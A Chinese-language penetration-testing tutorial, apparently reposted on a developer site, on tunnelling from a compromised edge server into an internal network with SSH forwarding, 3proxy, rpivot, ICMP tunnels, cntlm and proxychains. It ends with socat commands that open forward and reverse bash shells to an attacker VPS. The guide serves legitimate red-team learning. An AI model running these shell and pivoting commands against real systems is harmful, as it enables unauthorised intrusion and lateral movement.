内容简介:穿越边界的姿势
在企业安全对抗中,红方攻击团队经常会遇到这种情况,在企业的网络边界上获取到部分权限,比如一个web服务器的webshell,然而如何更方便的进行下一步的渗透呢?如何对内网进行渗透测试,这时就需要隧道转发技术,穿透边界防火墙、安全代理等安全设备,进行深层次的安全测试。本文的主要内容是穿透内网的各种姿势。
典型的边界网络架构图
利用ssh建立隧道
动态端口转发
原理:建立一个动态的SOCKS4/5的代理通道,紧接着的是本地监听的端口号;动态端口转发是建立一个ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5协议的程序都可以使用这个加密的通道来进行代理访问。
本地执行命令:
ssh -D 1080 root@106.22.50.48
效果:本地监听1080端口,我们可以使用具有socks端口功能的应用,可以通过代理:127.0.0.1:1080上网,如果非要在目标内网使用,
可以在server B上执行:
ssh -D 1080 root@10.3.1.6
这样我们就可以通过server B的1080端口访问办公网的资源。如果serverB的ssh可以访问,
可以在本地执行:
ssh -D 1080 root@222.222.222.223
这样我们就可以通过本地127.0.0.1:1080访问目标内网资源。
本地端口转发
原理:将本地机(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发是在localhost上监听一个端口,所有访问这个端口的数据都会通过ssh 隧道传输到远端的对应端口。
在serverB上执行:
ssh -L 7001:localhost:7070 root@106.22.50.48
作用:serverB监听7001端口,并将7001端口的数据转发到vps的7070端口
利用:在serverB上运行一个socks代理,代理端口设置为7001,这样再执行上面的命令,这样我们就相当于建立了一个socks5隧道。
远程端口转发
原理:将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口;远程端口转发是在远程主机上监听一个端口,所有访问远程服务器的指定端口的数据都会通过ssh 隧道传输到本地的对应端口。
在serverB上执行:
localhost: ssh -R 1433:localhost:7070 root@10.3.1.6
作用:将10.3.1.6的3306端口转发到serverB的7070端口,这样我们在访问serverB的7070端口时,其实访问到的是10.3.1.6的3306端口。
使用3proxy建立隧道
简介
工具地址: https://github.com/z3APA3A/3proxy/releases
3proxy是一个由俄罗斯人开发的多平台代理软件,支持http/https/ftp/socks4/socks5/socks4a/socks5a等多种代理方式。
利用方式:
windows:3proxy.exe config_file linux:./3proxy config_file
这个 工具 的使用主要是修改配置文件。
建立socks代理
配置如下:
#!/usr/local/bin/3proxy socks -p1080
作用:新建一个socks代理,监听1080端口
实现端口转发
配置如下:
#!/usr/local/bin/3proxy tcppm 1080 106.22.50.48 7070
作用:将本地的1080端口转发到vps的7070端口
其他功能大家可以自行学习。
使用plink实现端口转发
plink的使用跟ssh类似,只是plink是在windows下运行的。
使用Rpivot做反向代理
工具地址:https://github.com/artkond/rpivot
利用方式:
vps:
python server.py --proxy-port 1080 --server-port 9999 --server-ip 0.0.0.0
作用:在vps上新建一个socks4代理在1080端口,监听9999端口
serverB:
python client.py --server-ip 106.22.50.48 --server-port 9999
作用:连接vps的9999端口,我们可以通过vps的1080端口访问目标内网。
建立ICMP隧道
工具地址:http://code.gerade.org/hans/
在serverB上下载编译
用root执行:
1 echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all 2 ./hans -s 222.222.222.223 -p password
在本地执行:
./hans -f -c 222.222.222.223 -p password -v
会返回一个shell
穿透代理服务器
条件:serverB需要通过serverA这个代理服务器上外网,且代理服务器的认证是需要域认证
Rpivot
可以使用下面的命令实现穿透:
如果获取到的用户密码是个Hash,解不出来的情况下:
Cntlm
工具地址:http://cntlm.sourceforge.net/
原理:通过内网ntlm认证代理将远程务器的端口转发到本地。
使用方式,在serverB上执行:
windows: cntlm.exe -c config.conf
linux:./cntlm -c config.conf
配置文件样例:
作用:内网服务器访问serverB的2222端口,也就是访问到vps的443端口。
通过socks代理访问内网
proxychains
假设代理服务器地址是:222.222.222.223:1080
修改配置文件,将代理地址设置为代理服务器的地址如下:
vim /etc/proxychains.conf socks5 222.222.222.223 1080
使用方法:
proxychains psexec.py administrator@10.2.2.2 ipconfig
proxifier
图形化工具,大家自行测试
获取一个 shell 窗口
Python PTY shell
使用nc在vps上用监听4444端口:
nc -vv -l -p 4444
在serverB上执行:
socat
正向shell
vps上执行监听1337端口:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
在serverB上执行:
socat FILE:`tty`,raw,echo=0 TCP:106.22.50.48:1337
反向shell
vps上执行监听1337:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
在serverB上执行:
socat TCP4:106.22.50.48:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
总结
大千世界无奇不有,企业架构各有不同。不同的网络环境需要不同的技术支撑,只有了解足够多的技术才能应对不同的情况,具体情况具体对待,相信作为安全测试工程师对于这些技术都不陌生,这里只是做个简单介绍,内容来源:https://artkond.com/2017/03/23/pivoting-guide/,想看英文原版的请点击原文链接。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- winrar 穿越目录漏洞分析
- 揭秘阿里测试技术最高奖项目——“时间穿越”
- 穿越时空 AI代我告诉你:“爱你何止三千遍”
- 穿越:网络空间拟态防御这些年是怎么被“虐”的?
- AI 修复民国北京街景视频,火遍全网带你穿越
- Ruby on Rails 曝路径穿越与任意文件读取漏洞
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Rationality for Mortals
Gerd Gigerenzer / Oxford University Press, USA / 2008-05-02 / USD 65.00
Gerd Gigerenzer's influential work examines the rationality of individuals not from the perspective of logic or probability, but from the point of view of adaptation to the real world of human behavio......一起来看看 《Rationality for Mortals》 这本书的介绍吧!